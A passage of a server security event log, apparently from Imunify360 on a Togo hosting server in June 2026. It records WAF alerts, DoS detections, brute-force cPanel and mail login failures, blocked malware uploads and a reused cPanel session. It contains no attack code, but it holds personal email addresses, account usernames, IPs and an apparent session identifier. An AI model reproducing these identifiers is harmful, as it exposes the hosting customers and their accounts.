name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.114.252.65
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0a1591e3f299a863c46eb6b6ae68168a79a6361e||Title:inuberwoufm1oz47||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.92
country_id: 1880251
description:
47.128.121.92 - - [13/Jun/2026:09:08:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10263189&pdata=https%253A%252F%252Ftogodailynews.tg%252Ffinance-verte-togo-pole-financier-majeur-en-afrique-de-louest%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781341710 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/finance-verte-togo-pole-financier-majeur-en-afrique-de-louest/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.92


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.114.253.12
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ad068bd0c6293b511564d88aa800ce2205dc09ff||Title:60r2db6n2iu3ol||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.114.252.65
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:28ab9a138e0c0ae102f2821a684852ebbb45cb50||Title:g52fffh6vnwlvip||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.37.228
country_id: 2300660
description:
Jun 13 09:13:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.37.228 has been locked due to Imunify RBL


plugin: cl_dos
name: DOS detection
abuser: 194.102.38.65
country_id: 2635167
description:
2026-06-13 09:15:13.621200674 +0000 GMT m=+42117.300030547 Denial of Service attack was discovered from 194.102.38.65, on port 52224. Open connections: 379


plugin: cl_dos
name: DOS detection
abuser: 47.52.223.161
country_id: 1819730
description:
2026-06-13 09:14:38.950974996 +0000 GMT m=+42082.629804869 Denial of Service attack was discovered from 47.52.223.161, on port 52223. Open connections: 298


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.255.97.250
country_id: 6252001
description:
[2026-06-13 09:15:21 +0000] info [cpaneld] 72.255.97.250 - stephaneogou@gmail.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.4.81.106
country_id: 1562822
description:
2026-06-13 09:16:55 dovecot_login authenticator failed for H=([117.4.81.106]) [117.4.81.106]:35876: 535 Incorrect authentication data (set_id=admin@cameg-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 169.197.85.170
country_id: 6252001
description:
169.197.85.170 - - [13/Jun/2026:09:16:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7248995&pdata=http%253A%252F%252Fns5.netmaster.tg%253A2082%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781342181 HTTP/1.1" 302 0 ns5.netmaster.tg "http://ns5.netmaster.tg:2082/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:169.197.85.170


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 169.197.85.170
country_id: 6252001
description:
[2026-06-13 09:16:56 +0000] info [cpaneld] 169.197.85.170 NEW aopsacai:VDcPXnNBdf2XUPSH address=169.197.85.170,app=cpaneld,creator=aopsacai,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 169.197.85.170
country_id: 6252001
description:
[2026-06-13 09:16:26 +0000] info [cpaneld] 169.197.85.170 - aopsacai "GET / HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [169.197.142.208] != Current IP Address [169.197.85.170]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 31.206.198.185
country_id: 298795
description:
31.206.198.185 - - [13/Jun/2026:09:17:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6790089&pdata=https%253A%252F%252Ftogodailynews.tg%252Famelioration-de-la-sante-reproductive-le-togo-et-ses-partenaires-lancent-la-carte-de-score-srmnia%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781342272 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/amelioration-de-la-sante-reproductive-le-togo-et-ses-partenaires-lancent-la-carte-de-score-srmnia/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.9515.1703 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:31.206.198.185


plugin: cl_dos
name: DOS detection
abuser: 103.167.171.149
country_id: 1643084
description:
2026-06-13 09:18:59.364844154 +0000 GMT m=+42343.043674027 Denial of Service attack was discovered from 103.167.171.149, on port 52223. Open connections: 255


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 189.155.164.250
country_id: 3996063
description:
189.155.164.250 - - [13/Jun/2026:09:19:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6591889&pdata=https%253A%252F%252Ftogodailynews.tg%252Fjif-2022-les-femmes-participent-activement-a-la-vie-economique-du-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781342356 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/jif-2022-les-femmes-participent-activement-a-la-vie-economique-du-togo/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.5956.1351 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:189.155.164.250


plugin: cl_dos
name: DOS detection
abuser: 47.52.223.161
country_id: 1819730
description:
2026-06-13 09:19:31.756239348 +0000 GMT m=+42375.435069221 Denial of Service attack was discovered from 47.52.223.161, on port 52223. Open connections: 371


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.99.182.6
country_id: 1210997
description:
103.99.182.6 - - [13/Jun/2026:09:19:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6789222&pdata=https%253A%252F%252Ftogodailynews.tg%252Fsecteur-culturel-demarrage-imminent-de-linstant-togo-acteurs-artistes-dont-zambe-en-conference-de-presse%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781342387 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/secteur-culturel-demarrage-imminent-de-linstant-togo-acteurs-artistes-dont-zambe-en-conference-de-presse/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.9713.1380 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.99.182.6


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.173
country_id: 1269750
description:
Jun 13 09:19:45 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.173 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.158.53.202
country_id: 1643084
description:
Jun 13 09:21:02 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.158.53.202 has been locked due to Imunify RBL


plugin: cl_dos
name: DOS detection
abuser: 47.52.223.161
country_id: 1819730
description:
2026-06-13 09:20:35.053484498 +0000 GMT m=+42438.732314271 Denial of Service attack was discovered from 47.52.223.161, on port 52223. Open connections: 353


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 187.0.12.200
country_id: 3469034
description:
187.0.12.200 - - [13/Jun/2026:09:20:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212525&pdata=https%253A%252F%252Ftogodailynews.tg%252Fles-artistes-togolais-invites-a-sapproprier-le-contenu-de-la-loi-regissant-leur-profession%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781342428 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/les-artistes-togolais-invites-a-sapproprier-le-contenu-de-la-loi-regissant-leur-profession/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.6837.1124 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:187.0.12.200


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 170.82.207.89
country_id: 3469034
description:
170.82.207.89 - - [13/Jun/2026:09:20:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6462107&pdata=https%253A%252F%252Ftogodailynews.tg%252Famelioration-de-la-sante-reproductive-le-togo-et-ses-partenaires-lancent-la-carte-de-score-srmnia%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781342453 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/amelioration-de-la-sante-reproductive-le-togo-et-ses-partenaires-lancent-la-carte-de-score-srmnia/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.1214.1976 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:170.82.207.89


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.143.200.199
country_id: 1835841
description:
Jun 13 09:20:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.143.200.199 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.138.173.37
country_id: 1210997
description:
103.138.173.37 - - [13/Jun/2026:09:22:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9673113&pdata=https%253A%252F%252Ftogodailynews.tg%252Fjif-2022-les-femmes-participent-activement-a-la-vie-economique-du-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781342518 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/jif-2022-les-femmes-participent-activement-a-la-vie-economique-du-togo/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.1789.1295 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.138.173.37


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.136
country_id: 1643084
description:
[2026-06-13 09:21:20 +0000] info [cpaneld] 185.213.83.136 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: cl_dos
name: DOS detection
abuser: 47.52.223.161
country_id: 1819730
description:
2026-06-13 09:21:40.741113163 +0000 GMT m=+42504.419943136 Denial of Service attack was discovered from 47.52.223.161, on port 52223. Open connections: 288


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.173
country_id: 1269750
description:
Jun 13 09:21:51 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.173 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.107.76.127
country_id: 1835841
description:
Jun 13 09:22:49 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.107.76.127 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.255.97.250
country_id: 6252001
description:
[2026-06-13 09:24:09 +0000] info [cpaneld] 72.255.97.250 - camaegdtomgo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.249.32.94
country_id: 102358
domain: derou.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/derou.tg/en/a-propos HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.255.97.250
country_id: 6252001
description:
[2026-06-13 09:25:14 +0000] info [cpaneld] 72.255.97.250 - afdim "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.255.97.250
country_id: 6252001
description:
[2026-06-13 09:26:01 +0000] info [cpaneld] 72.255.97.250 - cloudetracks "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.255.97.250
country_id: 6252001
description:
[2026-06-13 09:27:06 +0000] info [cpaneld] 72.255.97.250 - two "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user two (has_cpuser_file failed)


plugin: ossec
rule: 11004
name: Possible breaking attempt on cpanel service
abuser: 72.255.97.250
country_id: 6252001
description:
[2026-06-13 09:27:06 +0000] info [cpaneld] 72.255.97.250 - adm02 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user adm02 (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.174.195.175
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/431290938 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 153.67.127.249
country_id: 3624060
description:
153.67.127.249 - - [13/Jun/2026:09:30:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12872342&pdata=https%253A%252F%252Fmacite.tg%252F2024%252F08%252F08%252Fformation-de-haut-niveau-au-togo-le-cls-sigma-lance-la-classe-preparatoire-scientifique-cps%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781343017 HTTP/2.0" 302 0 macite.tg "https://macite.tg/2024/08/08/formation-de-haut-niveau-au-togo-le-cls-sigma-lance-la-classe-preparatoire-scientifique-cps/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2583.1020 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:153.67.127.249


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 118.67.205.74
country_id: 1831722
description:
[2026-06-13 09:30:54 +0000] info [cpaneld] 118.67.205.74 - aopsacai "GET /cpsess1395410872/json-api/cpanel?cpanel_jsonapi_module=Fileman&cpanel_jsonapi_func=listfiles&cpanel_jsonapi_apiversion=2&needmime=1&dir=%2fhome%2faopsacai%2fpublic_html&showdotfiles=1&cache_fix=1781343053852 HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [169.197.85.170] != Current IP Address [118.67.205.74]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 13 09:32:00 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.212.106.188
country_id: 1880251
description:
[2026-06-13 09:33:01 +0000] info [cpaneld] 188.212.106.188 - cvajhehu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cvajhehu (has_cpuser_file failed)


plugin: ossec
rule: 6070
name: Attempt to upload malware through cPanel file manager
description:
Jun 13 09:33:37 ns5.netmaster.tg cpanel_fileman_hook[2314857]: 0 BAILOUT malware detected when save 'index.html' in /home/aopsacai/public_html/note-de-service for user aopsacai


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.15.157.212
country_id: 798544
description:
Jun 13 09:33:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.15.157.212 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.75.232.172
country_id: 1733045
description:
[2026-06-13 09:34:05 +0000] info [cpaneld] 180.75.232.172 - cafe "GET /login/?login_only=1&user=cafe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.74.114.51
country_id: 2542007
description:
[2026-06-13 09:34:12 +0000] info [cpaneld] 196.74.114.51 - ca "GET /login/?login_only=1&user=ca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ca (has_cpuser_file failed)


plugin: ossec
rule: 6070
name: Attempt to upload malware through cPanel file manager
description:
Jun 13 09:34:18 ns5.netmaster.tg cpanel_fileman_hook[2315432]: 0 BAILOUT malware detected when save 'index.html' in /home/aopsacai/public_html/note-de-service for user aopsacai


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.139.236.56
country_id: 3469034
description:
[2026-06-13 09:38:55 +0000] info [cpaneld] 94.139.236.56 - wgqhqbem "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.240.60.39
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/836c57 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.230.10.38
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/33-1024x768-1-300x225.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/33-1024x768-1-768x576.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/33-1024x768-1.webp 1024w HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 38.9.221.84
country_id: 3686110
description:
38.9.221.84 - - [13/Jun/2026:09:42:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6473831&pdata=https%253A%252F%252Feducplusmedia.tg%252Fpage%252F40%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781343765 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg/page/40/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.7328.1752 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:38.9.221.84


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.136
country_id: 1643084
description:
[2026-06-13 09:43:13 +0000] info [cpaneld] 185.213.83.136 - yvwaocrr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user yvwaocrr (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.253.73.23
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/8a605d HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.93.165.22
country_id: 3469034
description:
2026-06-13 09:43:34 dovecot_login authenticator failed for H=(177-93-165-22.brasturbo.com.br) [177.93.165.22]:38198: 535 Incorrect authentication data (set_id=adegunle.bikounle@togosem.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.22.172.90
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/313014 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.136
country_id: 1643084
description:
[2026-06-13 09:45:17 +0000] info [cpaneld] 185.213.83.136 - yxhnfwxr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.76.39.4
country_id: 2017370
description:
Jun 13 09:45:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.76.39.4 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.76.39.4
country_id: 2017370
description:
2026-06-13 09:45:19 dovecot_plain authenticator failed for H=(2b6qleiuo5gi2c1cfp6puddn152xp) [217.76.39.4]:60649: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.21.142.158
country_id: 286963
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/105941429 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 128.199.123.37
country_id: 1880251
description:
[2026-06-13 09:46:41 +0000] info [cpaneld] 128.199.123.37 - mesyscom "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.132.39.173
country_id: 2623032
description:
[2026-06-13 09:47:00 +0000] info [whostmgrd] 91.132.39.173 - masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.11.234.215
country_id: 3658394
description:
[2026-06-13 09:46:48 +0000] info [whostmgrd] 45.11.234.215 - netwhmcstg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.61.130.187
country_id: 6252001
description:
[2026-06-13 09:47:59 +0000] info [cpaneld] 45.61.130.187 - myxlsnta "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.95.131.171
country_id: 2542007
description:
[2026-06-13 09:49:26 +0000] info [whostmgrd] 45.95.131.171 - scripts7cphulkblacklistnetwhmcstg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: invalid user name specified


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 161.123.236.73
country_id: 2629691
description:
[2026-06-13 09:51:05 +0000] info [whostmgrd] 161.123.236.73 - 92849199105 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: invalid user name specified


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.136
country_id: 1643084
description:
[2026-06-13 09:51:07 +0000] info [cpaneld] 185.213.83.136 - bighostingsnbd "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 134.199.68.98
country_id: 6252001
description:
[2026-06-13 09:52:12 +0000] info [cpaneld] 134.199.68.98 - tqttxcvn "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tqttxcvn (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.68.148.0
country_id: 2017370
description:
Jun 13 09:53:16 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.68.148.0 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.182.204.129
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/logo-fnfi-qk5ekij353kqebovebmfl591pdpmo8pkd2jo4k813c-768x480.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/logo-fnfi-qk5ekij353kqebovebmfl591pdpmo8pkd2jo4k813c-300x188.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/logo-fnfi-qk5ekij353kqebovebmfl591pdpmo8pkd2jo4k813c.webp 800w HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.169.220.147
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/HTML/BODY/DIV[@id='page']/*[1][self::DIV]/*[9][self::MAIN]/*[1][self::DIV]/*[2][self::ASIDE]/*[1][self::DIV]/*[1][self::DIV]/*[1][self::FIGURE]/*[1][self::IMG] HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.70.67.220
country_id: 1227603
description:
[2026-06-13 10:00:10 +0000] info [whostmgrd] 109.70.67.220 - c1565738c "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.227.96.9
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/b7b2a9 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.76.70
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/HTML/BODY/DIV[@id='page']/*[1][self::DIV]/*[9][self::MAIN]/*[1][self::DIV]/*[2][self::ASIDE]/*[3][self::DIV]/*[1][self::DIV]/*[1][self::FIGURE]/*[1][self::IMG] HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 13 09:59:41 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 67.215.234.141
country_id: 6252001
description:
Jun 13 10:00:00 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 67.215.234.141 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 156.208.28.209
country_id: 357994
domain: haplucia-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:156.208.28.209||TA:156.208.28.209||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 134.199.85.102
country_id: 6252001
description:
[2026-06-13 10:01:27 +0000] info [whostmgrd] 134.199.85.102 - NS4 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 201.180.37.38
country_id: 3865483
description:
201.180.37.38 - - [13/Jun/2026:10:02:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9727127&pdata=https%253A%252F%252Feducplusmedia.tg%252Fauthor%252Fediteurmarcel%252Fpage%252F21%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781344938 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg/author/editeurmarcel/page/21/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.8620.1161 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:201.180.37.38


plugin: modsec
rule: 77217210
